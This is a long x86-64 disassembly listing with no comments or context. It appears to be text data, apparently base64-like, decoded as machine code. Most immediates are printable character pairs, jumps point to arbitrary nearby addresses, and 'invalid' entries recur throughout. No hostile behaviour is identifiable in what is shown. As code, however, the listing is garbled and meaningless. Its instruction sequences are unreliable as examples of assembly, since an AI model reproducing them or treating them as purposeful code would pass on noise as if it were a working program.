imul ecx, dword [rdx + 0x72], 0x30422b64
push 0x69413271
invalid
outsb dx, byte [rsi]
jo 0x10053364
js 0x100533a1
jo 0x10053392
jp 0x1005339d
jae 0x100533ab
xor byte [r9 + 0x4a], al
jne 0x1005338b
cmp dword [rsi + 0x37], ebp
invalid
xor esi, dword [rbp + rsi + 0x71]
jns 0x1005337b
cmp dword [rsi], esi
push rax
push rax
pop rdx
push rsp
xor dword [rdi + 0x73], ebp
invalid
imul r9d, dword [r8 + 0x64], 0x50
xor al, 0x6b
jp 0x100533d3
imul edi, dword [rdx + 0x66], 0x70
push 0x61437447
pop r10
push 0x64
ja 0x100533ce
jo 0x100533d7
je 0x100533b5
invalid
push ax
xor r10, qword [rdi + 0x44]
invalid
xor bl, byte [rax + 0x6a]
jae 0x100533f2
push 0x47706547
jo 0x100533dc
jne 0x10053403
push rdi
jae 0x10053402
insd dword [rdi], dx
jp 0x1005340a
insb byte [rdi], dx
jp 0x10053419
jp 0x10053419
cmp dword [rdi + rbp + 0x47], esi
sub esi, dword [rbp + 0x6b]
xor qword [rdx], r14
insb byte [rdi], dx
xor dh, byte [0x675f991f]
outsb dx, byte [rsi]
push 0x41
push rsp
push rbp
push rdx
pop rdx
xor dword [rax + 0x38], ebp
push rcx
invalid
pop rcx
jb 0x1005343d
push rdx
push rax
push rbp
jne 0x10053441
push r13
jne 0x10053423
insb byte [rdi], dx
cmp dword [rdi], ebp
pop rax
cmp dword [rbx], esi
jp 0x1005344a
invalid
jo 0x10053423
push 0x59544f6a
push rbp
insd dword [rdi], dx
xor dword [rsi + 0x6c], edx
xor r9b, byte [rbx + 0x52]
xor cl, byte [rbx + 0x52]
push r10
jae 0x10053453
push 0x59
pop rcx
jbe 0x1005347d
jae 0x1005343a
xor dword [rbp + 0x6d], eax
outsd dx, dword [rsi]
invalid
invalid
jno 0x10053494
push rax
jb 0x100534a2
jno 0x10053473
push rsp
xor al, 0x44
push rsi
xor eax, 0x4d656958
jp 0x10053478
push rdx
invalid
xor esi, dword [rdx + rdx*2]
outsd dx, dword [rsi]
invalid
pop r10w
push 0x52
je 0x10053491
jno 0x100534c9
jno 0x100534c9
jne 0x1005349a
sub eax, dword [rbx + 0x7a]
imul esi, dword [rsi], 0x4430556c
ja 0x100534ce
jp 0x100534bf
insb byte [rdi], dx
push rbp
xor byte [rdi + rsi*2 + 0x71], al
pop rdx
jns 0x100534ca
cmp byte [rsi + 0x43], ch
push rax
jae 0x100534a9
push rbp
jp 0x100534bb
js 0x100534a2
invalid
xor ecx, dword [rcx + 0x74]
xor esi, dword [rbp + 0x48]
jp 0x100534b2
jp 0x100534b2
outsb dx, byte [rsi]
outsb dx, byte [rsi]
insd dword [rdi], dx
jno 0x100534f0
push 0x36
invalid
xor al, 0x54
invalid
pop rcx
xor cl, byte [r11 + 0x2b]
push rsp
xor al, 0x75
js 0x100534db
pop rax
imul esp, dword [rsi + 0x6f], 0x63646149
jae 0x100534e5
outsw dx, word [rsi]
invalid
jae 0x100534e5
insb byte [rdi], dx
push rsp
invalid
push rax
push rax
pop rdx
pop rax
invalid
push r13
push rbp
pop rcx
xor al, 0x66
cmp dword [rsi + 0x65], eax
jae 0x10053542
push rsp
jp 0x10053505
jns 0x10053539
jne 0x10053550
je 0x10053554
ja 0x1005352e
push rax
imul esi, dword [rdx + 0x6b], 0x6462504f
xor ch, byte [rdi]
push rbp
imul eax, dword [rbp + 0x63], 0x59624538
pop rcx
jns 0x10053549
xor qword [rcx + 0x5a], rbx
push 0x786f6f4f
cmp byte [rsi + 0x71], al
insd dword [edi], dx
push 0x38
xor esp, dword ss:[rdx + 0x68]
cmp byte [rsi], dh
xor esp, dword [rdx + 0x68]
cmp qword [rbp + 0x62], rsp
push rax
js 0x10053542
push 0x376a6558
outsb dx, byte [rsi]
push 0x74
invalid
outsb dx, byte [rsi]
push 0x46702b4c
jo 0x10053585
pop rax
push rdi
jno 0x10053595
xor ecx, dword [rsi + 0x50]
jns 0x1005358c
jbe 0x10053599
jbe 0x10053599
push rbx
xor esp, dword [rbx + 0x4b]
jne 0x100535c4
insb byte [rdi], dx
push rax
cmp byte gs:[r9 + 0x51], bl
pop rcx
push rcx
ja 0x100535cb
invalid
push 0x7741
cmp byte [rax + 0x6b], dh
jp 0x10053602
xor dh, byte [rcx]
xor eax, 0x59474464
pop r9
xor eax, 0x75687462
jno 0x10053611
invalid
invalid
jbe 0x10053630
push 0x56
jbe 0x10053624
invalid
jbe 0x10053673
xor al, 0x4f
push rbx
push 0x54557433
invalid
jns 0x10053687
push rdi
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rdx
insd dword [rdi], dx
pop rcx
jno 0x1005364b
ja 0x1005367f
invalid
pop rcx
pop cx
push rdx
cmp byte [rdi + 0x41], ah
jno 0x100536a6
push rdx
push rdx
jo 0x100536a4
jne 0x1005368f
xor eax, 0x6f424839
xor byte [rcx + 0x37], bh
push rbp
jbe 0x10053671
push rbp
jns 0x1005367a
push rcx
insd dword [rdi], dx
xor r10b, byte [r14 + 0x38]
xor dl, byte [rsi + 0x38]
xor byte [rbx], ch
push rsp
invalid
js 0x100536ca
push 0x67716763
push rbp
push rax
xor ch, byte [rdx + 0x37]
pop rax
push 0x61
push r12
jns 0x100536ea
invalid
ja 0x10053700
jbe 0x100536dc
push rbp
insd dword [rdi], dx
pop rax
push rbp
invalid
invalid
jae 0x100536e2
jo 0x10053703
xor eax, 0x6c324576
push rax
pop rdx
push rdi
pop rcx
insb byte [rdi], dx
jne 0x10053710
jno 0x10053713
jns 0x10053711
outsd dx, dword [rsi]
je 0x1005370f
push rsp
cmp dword [rdi + 0x35], eax
invalid
push rdx
push 0x53
push rdi
jne 0x1005372f
invalid
xor dword [rbp + 0x30], ecx
cmp byte [rdi + 0x4e], al
xor dword [rbx], esi
push rsi
push rdi
push rdi
outsb dx, byte [rsi]
jne 0x1005375d
jb 0x10053752
imul dx, word [rbp + 0x74], 0x63
imul edx, dword [rbp + 0x74], 0x63
xor al, 0x54
jb 0x1005373b
ja 0x1005373b
jns 0x10053740
push rbp
cmp byte [r14 + 0x7a], r13b
ja 0x10053730
invalid
insd dword [rdi], dx
push rsp
push rsp
jne 0x10053752
invalid
xor bl, byte [rax + 0x30]
imul esp, dword [rbx + 0x68], 0x5732394a
pop rax
xor byte [rcx + 0x63], ch
push 0x5732394a
invalid
js 0x1005374f
xor cl, byte [rbx + 0x6b]
invalid
push rdx
js 0x100537ab
cmp dword [rax + 0x6d], edx
imul r14, qword [rbp + rax*2 + 0x43], 0x35
imul edx, dword [rax + 0x4b], 0x57704876
jo 0x10053799
pop rdx
pop rcx
push rcx
jae 0x10053778
xor byte [rdi + 0x51], al
xor al, 0x31
cmp byte [rax + rbp*2 + 0x72], ch
push r8
jb 0x1005379e
push rax
insb byte [rdi], dx
jbe 0x100537c2
jbe 0x100537a6
outsb dx, byte [rsi]
js 0x100537d0
push rcx
invalid
jno 0x100537a5
pop rax
push rsp
outsb dx, byte [rsi]
push rbx
xor al, 0x31
push rcx
sub ebp, dword [rdi]
movsxd rbp, dword [rbx + rcx*2 + 0x45]
jno 0x100537f5
push rdi
je 0x100537d7
push 0x64
invalid
jbe 0x10053810
jno 0x100537df
pop rax
xor byte [rdi], ch
xor dword [rdi], ebp
cmp dword [r11 + 0x4d], r14d
jae 0x100537f4
jb 0x1005380e
jb 0x1005380e
push 0x2b
xor al, 0x68
invalid
cmp byte [rsi + 0x47], dl
push rax
jne 0x1005380a
pop rax
xor r12b, byte [r10 + 0x73]
je 0x1005381b
push rsi
push rsi
invalid
push rbp
insb byte [rdi], dx
jo 0x10053824
jbe 0x10053854
pop rdx
pop rcx
xor qword [r13 + 0x56], r13
jae 0x1005381f
js 0x1005382c
outsd dx, dword [rsi]
push 0x67494773
xor r9b, byte [rdi + rcx*2 + 0x59]
pop r9
pop rcx
insb byte [rdi], dx
insd dword [rdi], dx
jo 0x10053870
invalid
xor al, 0x36
cmp dword [rdx + 0x62], ebp
outsb dx, byte [rsi]
invalid
jns 0x1005383d
imul esi, dword [rcx], 0x67354c48
outsb dx, byte [rsi]
push rsp
pop rdx
pop rdx
invalid
outsb dx, byte [rsi]
xor esi, dword [rbx]
push 0x58
pop rax
cmp byte ss:[rbp + 0x52], al
js 0x10053894
xor r14b, byte [r11]
xor dh, byte [rbx]
push rcx
push rbp
push rcx
pop rdx
jp 0x100538ab
invalid
insb byte [rdi], dx
jne 0x10053887
push rdi
jne 0x100538b3
push rsp
invalid
insd dword [rdi], dx
push rdx
imul edi, dword [rax + 0x73], 0x51
xor byte [rax + 0x52], cl
push rsi
jbe 0x100538d2
jno 0x10053897
push rsp
xor ch, byte [rdi]
invalid
push 0x6c6f5661
jno 0x100538de
xor esi, dword [r9 + 0x66]
jp 0x100538ad
cmp byte [rcx + 0x78], ah
je 0x100538ca
push bx
xor al, 0x67
xor rax, 0x31654938
cmp byte [rdx + 0x75], dh
jno 0x100538e9
cmp dword [rdx + rax*2 + 0x63], eax
invalid
pop rcx
outsb dx, byte [rsi]
push rbp
xor r14b, byte [rsi]
invalid
pop r8
jne 0x100538e6
invalid
push rdi
jae 0x10053918
jno 0x10053910
jae 0x1005390d
invalid
jb 0x10053931
jp 0x10053931
invalid
push rsp
xor al, 0x62
pop rdx
xor rax, 0x68474c7a
pop rdx
push rax
imul edi, dword [rax], 0x3274456d
push rbp
push rdi
push 0x6f6a556b
je 0x1005395b
imul r9, qword [r15 + r10*2 + 0x31], 0x57386a78
xor cl, byte [rsi + rdx*2 + 0x56]
jne 0x10053973
js 0x10053934
push r8
imul eax, dword gs:[rsi + 0x66], 0x79
push 0x39
push 0x4976572f
push 0x4976572f
push 0x4976572f
pop rcx
push rdx
insd dword [rdi], dx
insd dword [rdi], dx
xor dword [rax + rbx*2], esi
imul esp, dword [rbp + rdx*2 + 0x76], 0x75
invalid
invalid
jp 0x1005399a
jo 0x100539b0
invalid
jne 0x100539c3
outsd dx, dword [rsi]
push 0x58
cmp byte [rax], bh
xor esi, dword [rcx + 0x79]
push rax
pop rcx
invalid
jo 0x100539c7
jns 0x100539df
invalid
ja 0x100539f4
jno 0x10053a16
pop rcx
pop rcx
je 0x100539d4
cmp byte [rdx + 0x50], cl
xor byte fs:[rcx + 0x67], ah
invalid
xor byte [r8 + rcx*2 + 0x77], sil
ja 0x100539ee
outsb dx, byte [rsi]
outsd dx, dword [rsi]
js 0x10053a20
jae 0x100539f3
push rbp
xor eax, 0x4c4a5a64
jae 0x10053a1a
jae 0x10053a1a
pop rcx
jns 0x100539f7
push 0x4b
push rax
ja 0x10053a39
push rbp
jp 0x10053a1b
jp 0x10053a1b
invalid
ja 0x10053a54
xor dword [rdx + 0x61], ecx
imul edx, dword [rbp + rcx*2 + 0x44], 0x6a6e5067
invalid
invalid
jp 0x10053a61
insb byte [rdi], dx
xor ch, byte [rdi]
sub r15, qword [rdx + 0x45]
invalid
jbe 0x10053a82
invalid
jbe 0x10053a5e
jbe 0x10053a5e
invalid
imul edi, dword fs:[rcx], 0x4f726e44
push rdx
je 0x10053a88
imul ebp, dword [rbx], 0x48
jbe 0x10053a9b
pop rcx
push 0x59
pop rcx
invalid
xor eax, 0x66733259
xor dword [rdx], esi
push rax
invalid
js 0x10053aa5
xor byte [rdx + 0x74], dh
jb 0x10053ad7
js 0x10053ad6
invalid
push 0x42
xor dword [rbp + 0x75], eax
invalid
invalid
jo 0x10053ae4
jae 0x10053ae1
pop rax
jae 0x10053ae6
invalid
xor esp, dword [rbx + 0x78]
jb 0x10053b02
jno 0x10053af3
sub r13, qword gs:[r14 + 0x69]
xor cl, byte fs:[rbx + 0x4f]
invalid
jne 0x10053b1b
jne 0x10053b1b
invalid
jbe 0x10053b5d
jno 0x10053b3b
push rsi
invalid
invalid
push rdx
cmp byte [r13 + 0x4e], al
jno 0x10053b30
push r14
xor eax, 0x51306833
jo 0x10053b73
ja 0x10053b57
pop rcx
imul rcx, qword [rdi + 0x6e], 0x53
insd dword [edi], dx
push rax
jb 0x10053b84
jp 0x10053b81
jb 0x10053b92
invalid
invalid
jns 0x10053b90
pop rcx
push rsi
invalid
push rax
invalid
xor byte [rax], bh
jae 0x10053bb6
jno 0x10053bcd
xor byte [rcx], bh
sub rbx, qword [rax + 0x5a]
push rsp
push r15
outsd dx, dword [rsi]
ja 0x10053ba0
push rbp
push rbp
push 0x79
jno 0x10053bea
sub ebp, dword [rdi + rax*2 + 0x52]
imul esi, dword [rbx], 0x6a783350
js 0x10053bed
jbe 0x10053bd7
push rdx
jb 0x10053bcd
jns 0x10053bf1
xor ecx, dword [rsi + 0x44]
sub ecx, dword [eax + edx*2 + 0x44]
jb 0x10053c0d
jb 0x10053c0d
jp 0x10053bc4
xor byte [rdx + 0x32], cl
invalid
xor spl, byte [rcx + 0x33]
insd dword [rdi], dx
jp 0x10053bcf
imul esi, dword [r15], 0x75
push r12
push rbp
invalid
invalid
pop r8
insd dword [rdi], dx
jo 0x10053c05
pop rcx
cmp dword [rbx + rsi + 0x47], esp
invalid
invalid
insd dword [rdi], dx
push rax
xor dword [r9], r15d
xor byte [rdi], dh
jb 0x10053c04
jb 0x10053c04
jno 0x10053c52
push rsi
insd dword [rdi], dx
insd dword [rdi], dx
jne 0x10053c3a
insd dword [rdi], dx
je 0x10053c3e
invalid
invalid
movsxd rax, dword [r11 + 0x71]
insd dword [rdi], dx
jo 0x10053c5f
push rax
jo 0x10053c50
push 0x49497150
xor byte [rbp + 0x63], cl
insd dword [rdi], dx
push rbp
push rbp
insd dword [rdi], dx
insd dword [rdi], dx
pop rdx
xor ch, byte [rbp + 0x63]
imul ebx, dword ss:[rax + 0x31], 0x6c
imul ebx, dword [rax + 0x31], 0x6c
pop rax
push rbx
xor dword [rbp + 0x51], ebp
outsb dx, byte [rsi]
push 0x33
imul ecx, dword [esi + 0x57], 0x76367766
pop rax
jns 0x10053c8c
cmp byte [rbx + 0x32], dl
push rbp
ja 0x10053c92
push rcx
sub esi, dword [rdi]
jns 0x10053c64
insb byte [rdi], dx
push r10
xor ch, byte [rdx + 0x61]
push rdx
push 0x4b485244
push r12
invalid
push rdx
push r12
insw word [rdi], dx
invalid
cmp byte [rbp + 0x70], r14b
jne 0x10053cc4
invalid
je 0x10053ca4
push rsp
outsd dx, dword [rsi]
pop rax
insd dword [rdi], dx
invalid
sub rbp, qword [r8 + 0x59]
pop rcx
jbe 0x10053cfd
jbe 0x10053cfd
xor al, 0x4a
push 0x7a
outsb dx, byte [rsi]
invalid
invalid
jbe 0x10053d2f
invalid
pop r8
jno 0x10053d4e
xor esp, dword [rbp + 0x36]
pop r9
push rdi
pop rdx
imul rdi, qword [rdx + 0x4b], 0x31432b2b
sub rbp, qword [r10 + 0x67]
push r8
xor dword [rbp + 0x71], ecx
cmp dword [rsi + 0x6a], edx
push rdi
xor eax, 0x554a6b6f
imul ecx, dword [rcx + 0x73], 0x63
outsd dx, dword [rsi]
pop rdx
jbe 0x10053da7
sub esi, dword [rsi]
xor eax, 0x4155514f
xor eax, 0x4155514f
jno 0x10053d89
xor dl, byte [rbx + 0x39]
jbe 0x10053d83
cmp dword [r10 + 0x4c], edi
xor byte [rbx + 0x51], ah
outsd dx, dword [rsi]
invalid
jb 0x10053d88
push 0x53543173
jp 0x10053d8b
jae 0x10053dc0
outsd dx, dword [rsi]
xor eax, 0x4c6b4171
push rdi
outsb dx, byte [rsi]
push rdx
invalid
insd dword [rdi], dx
js 0x10053deb
pop rax
cmp byte [rbp + 0x5a], dl
push rbp
pop rdx
xor ebp, dword gs:[rbx + 0x2f]
xor ebp, dword [rbx + 0x2f]
xor ah, byte [rdx + rdi*2 + 0x45]
push 0x50
invalid
xor eax, 0x47617032
jo 0x10053de1
cmp byte [rbx + 0x4e], ah
insb byte [rdi], dx
invalid
push r8
jo 0x10053df4
jp 0x10053e2f
xor al, 0x6d
imul esp, dword [rdi + 0x4c], 0x55
xor edx, dword [rax + 0x52]
jns 0x10053e16
jne 0x10053e45
push rdi
xor ch, byte [rax + 0x57]
push rcx
jae 0x10053e4a
push 0x34
cmp dword [rbx + rsi + 0x30], ecx
xor al, 0x39
xor r14, qword [rax]
pop rdx
jno 0x10053e1c
pop r9
invalid
push r8
jno 0x10053e69
outsd dx, dword fs:[rsi]
ja 0x10053e70
jp 0x10053e65
push 0x48715a53
push rax
jae 0x10053e5e
invalid
insb byte [rdi], dx
push r12
push rsp
xor ch, byte [rdi + 0x36]
pop r8
pop r8
jno 0x10053e53
pop rdx
xor ch, byte [rcx + 0x44]
ja 0x10053e9c
push rsp
xor al, 0x46
invalid
outsb dx, byte [rsi]
je 0x10053eaa
xor eax, 0x6a76764e
invalid
jbe 0x10053e9a
invalid
invalid
jo 0x10053ebf
cmp dword [rcx + 0x5a], ecx
cmp byte [rbp + 0x33], dh
outsd dx, dword [rsi]
imul ecx, dword [rdx + 0x51], 0x78
xor byte [rax + 0x4c], dh
push rcx
js 0x10053e91
jo 0x10053eaf
xor byte [rdi + 0x2b], sil
ja 0x10053e92
outsb dx, byte [rsi]
imul esp, dword [rsi + 0x77], 0x76
pop rdx
je 0x10053ec3
pop dx
imul rsp, qword [rsi + 0x44], 0x4933594e
push r13
push rdi
push rdi
jb 0x10053edc
push rax
jae 0x10053efe
imul ecx, dword [rdx + 0x72], 0x3431474c
push rdi
outsd dx, dword [rsi]
invalid
cmp byte [r9 + 0x6b], r10b
jne 0x10053f04
xor eax, 0x2f366750
xor eax, 0x2f366750
invalid
jae 0x10053ee4
jns 0x10053ef2
jne 0x10053ed6
insb byte [rdi], dx
xor edi, dword [rdx + 0x4e]
jb 0x10053f16
imul edx, dword [rsi + 0x75], 0x2f
push rsi
jne 0x10053edd
xor byte [rax], dh
invalid
xor byte [rdi], dh
invalid
push rsp
pop rax
ja 0x10053f0a
push 0x6d43
push 0x6d43
jp 0x10053f18
invalid
xor dword [r8 + 0x38], ebp
push rsp
push rbp
push rbp
cmp dword [rsp + rsi*2 + 0x6c], ebp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
push 0x69
push rbp
imul ebp, dword [rdi], 0x6b6e5530
cmp byte [rdi], dh
imul ebx, dword [rdx + 0x58], 0x55585833
xor ebx, dword [rax + 0x58]
push rbp
pop rcx
push rax
invalid
push rdx
cmp dword [rsi + 0x4b], ebp
invalid
push rbp
insb byte [rdi], dx
push rbx
jno 0x10053f3c
push rsp
invalid
jo 0x10053f66
pop rdx
invalid
jne 0x10053f71
xor dword [rax + 0x2b], edi
je 0x10053fa5
invalid
xor byte [rbx + 0x54], ch
xor r13, qword [r15 + 0x4d]
imul esi, dword [r11], 0x76326462
xor al, 0x42
jb 0x10053fe4
xor dh, byte fs:[rsi + 0x34]
jb 0x10053fe4
js 0x10053ff5
pop rax
invalid
xor cl, byte [rax + rdx*2 + 0x39]
jo 0x10053ff1
pop rax
invalid
outsb dx, byte [rsi]
jne 0x10054040
insd dword [rdi], dx
invalid
xor dword [rcx + 0x75], edi
outsd dx, dword [rsi]
invalid
insd dword [rdi], dx
cmp byte [rax + 0x74], cl
invalid